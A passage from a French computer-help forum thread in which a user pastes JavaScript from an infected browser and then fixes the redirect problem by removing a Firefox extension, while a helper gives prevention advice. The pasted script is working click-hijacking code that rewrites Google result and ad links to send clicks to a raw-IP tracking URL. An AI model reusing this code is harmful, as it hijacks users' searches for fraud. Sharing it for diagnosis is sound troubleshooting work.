var tuda = 'http://50.22.28.50/c.php?p=tBLC0StwKb0qpvm2YxWX3I62Higxtz87iOiwR5u8R0zSYsbp09yEA3psUBESQWLqGw9u42omxaVzP_g9Dz055aswfG7WCvpocAMfCzMMde00i5nbBfs_qnyO6iKwG0UMM4K7WbYI1nrh4pPxkH_PvMX85xTOxSHUzaZ47uWAogS1NL_z2kRd3GBwziA-oP3PnRcQTkhqk4cXSDKiZl6It47hv10MdQGipscHkOF8ZOj-8JeJFY5EoKE-HQ51imRwAgTqpQ0eHExOl6VMEfFCYj1M3w9eJKM81N32hHe0sT8dDjQvR0BNP3GtaPNGocuNM3EhzHCHtSRIqiGnTteSwe5tTtxuUH4p2fduSxkeunsqEmQWcGNpe022mF6cYuRUHnOhERoOjI6nr_psF1SrG-U_7XG1gqS-BEUs368KxPT9AEbrVPSqmkFCgb2ALkSiEN9m25mNqovmPwvavsNWKvnaFahbB58IlBFD6-wJnJDn-JuP4vBOfuDidKrUs1VxXBdTOnYmSbWctKIcsnKrysLFDXb7jkfJVDnzbz5CGSkgnrBvXfTgGZu-AwA2N6D1JYnK6vMuhJPGtvy8Yzxu35lq_6nK17kBeC8VjcsspsB1fjNaw315X2QfGy5qXTpHghCtPbQUVFcWGQYRKHE7uzAnJKZFDtkvQiUCSdBa4mF_O9FcA2nMaKUTbD2t0eraJy1bmn5_zDB2rT4NhYu5E23MHc0Iy8GTVJUloWXBsyssw2a6QBuCp08rVJTaz-ALplxJgWeJpa3ahQQp-d40LCh8-UNOHrlY5ij_oGcimK7kHhfCabMRgLHP1DgDh1s3qdWmZJti4zXMTN-Mef28hcG8_LvXfbCqCYA5u4HioLvh1-fGQmzWzSL0EUrjQ-rUcz5iJDmAu7kMG1VVSZQafzUH9PjtaKlZr9fjAzjhhfSDFXVGXA5fAZDViDLe_tU-'; 
var ref = '&rf=http%3A%2F%2Fcrispsearch.com%2Fsearch%3Fq%3Dcomment%2Bmarche'; 

var clicked = 0; 
var NxsL = 0; 
function xiSl(l) { 
    if (l.className == 'l' || l.className == 'adt' || l.href.match(/google\.[^\/]+\/(pagead\/|url\?)/)) return true; 
    return false; 
} 
function xiGs(l) { 
    if (l.href.match(/\/setprefs\?sig=[-a-z0-9_]+=&suggon=2&prev=/i) && l.className.match(/unselected/))  
        return true; 
    else 
        return false; 
} 
function xsL() { 
    try { 
    var links = top.document.getElementsByTagName("a"); 
    var i; 
    var n=0; 
    for (i = 0; i < links.length; ++i) { 
        if(xiGs(links[i])) { 
            window.location=links[i].href; 
            return; 
        } 
        if (xiSl(links[i])) { 
            n++; 
            links[i].onmousedown = mC; 
            links[i].setAttribute('orighref', tuda); 
        } 
    } 

    if (n==0) throw(1); 
    } catch (e) { 
        if (NxsL++ < 10) setTimeout(xsL, 100); 
    } 
}  

function mC(e) { 
    var t,l; 
    if (!e) var e = window.event; 
    if (e.target) t = e.target; 
    else if (e.srcElement) t = e.srcElement; 

    var j; 
    for (j=0; j<5 && typeof t == 'object'; j++) { 
        if (t.href) { 
            break; 
        } 
        t = t.parentNode; 
    } 

    if (clicked) { 
        if (t.ohref) t.href = t.ohref; 
        return true; 
    } 

    if (!t.ohref) t.ohref = t.href; 
    t.href = tuda; 
    t.href += ref; 
    e.bubbles = false; 
    clicked = 1; 
    return true; 
} 

function mCu(t) { 
    t.href=t.ohref; 
} 


xsL();



si ça peut nous aider... 
A+

cricri10 · Answer

çà y est, j'ai trouvé d'où venait le pblm. Dans firefox, outils, modules complémentaires, Extentions, il faut désactiver le XUL Cache 1.0.
C'est ça qui me redirige dans les autres pages.
Depuis tout a l'air de bien fonctionner. Je ne pensai pas récupérer aussi bien mon ordi avec une telle infection; tu pourras donner tes conseils à Roseline B. pour tes vaccins contre les virus, ça nous coûterait moins chère :-)
Tu as fait un travail de chef.
D'autre part comme j'ai failli tout rebooter vista, j'ai fait une sauvegarde de tous les fichiers sur un disque dur externe, est-ce -qu'il est contaminé ;( et mes clés USB le sont-elles également?
Merci pour tes réponses et ce que tu fais est génial !!!

Malekal_morte- · Answer

:)

Supprime là l'extension :) 

Fais plus attention à l'avenir.... 

Maintiens tes logiciel à jour c'est important, utilise ce programme : /faq/13362-mettre-a-jour-son-pc-contre-les-failles-de-securite 
Absolument à faire. 

Les antivirus ne font pas tout en ce qui concerne la sécurité de ta machine (mettre à jour ses logiciels etc etc) 
La meilleur protection reste de connaître les infections pour pouvoir les éviter et avoir de bonne habitude. 
Donc faut se documenter. 

Un peu de lecture pour éviter les infections : 
- connaitre et éviter les infections : https://www.malekal.com/fichiers/projetantimalwares/ProjetAntiMalware-courte.pdf 
- sécuriser son PC : http://forum.malekal.com/comment-securiser-son-ordinateur.html 
- lire : http://www.commentcamarche.net/faq/27128-malwares-quels-enjeux-version-synthese 

Ce qu'il ne faut pas faire : 
Je télécharge n'importe quoi - je m'infecte : 

https://forums.commentcamarche.net/forum/affich-19719198-onglets-pub-intempestifs#14 

https://forums.commentcamarche.net/forum/affich-18347759-le-nouveau-avast-sonne-trop-souvent#9 

Je télécharge depuis n'importe où - je m'infecte : https://forums.commentcamarche.net/forum/affich-19916973-clickpotato-vlc-virus#6 
Recommandations sur la sécurité : https://forums.commentcamarche.net/forum/affich-18680013-windows-7-et-antispyware#1 

Fonctionnement de quelques catégories de malwares : 

https://forums.commentcamarche.net/forum/affich-17725521-virus-programme-troyen 

https://forums.commentcamarche.net/forum/affich-17746390-concernant-la-propagation-des-virus 

Si tu as des questions sur le fonctionement des malwares. 
N'hésite pas. 

Remember when you were young, you shone like the sun. 
Shine on you crazy diamond. 
Now there's a look in your eyes, like black holes in the sky. 
Shine on you crazy diamond.

cricri10 · Answer

BONSOIR
OK pour tout, mais tu ne pas toujours répondu pour les clés USB et le disque dur externe stp!

Malekal_morte- · Answer

Je pense que tu peux les réutiliser sans prb.

cricri10 · Answer

OK c'est très gentil à toi d'avoir consacré de ton temps pour mes pblm.
Est-ce que ça te dérange de me donner tes coordonnées pour que je t'envoi un petit cadeau pour tes bonnes oeuvres.
Si non fait les moi passer
Merci encore

Malekal_morte- · Answer

Non c'est bon, pas besoin de cadeaux :) 

Merci :)


Remember when you were young, you shone like the sun. 
Shine on you crazy diamond. 
Now there's a look in your eyes, like black holes in the sky. 
Shine on you crazy diamond.

Virus win32: dracur-C[cryp]

19 réponses

Discussions similaires

Newsletters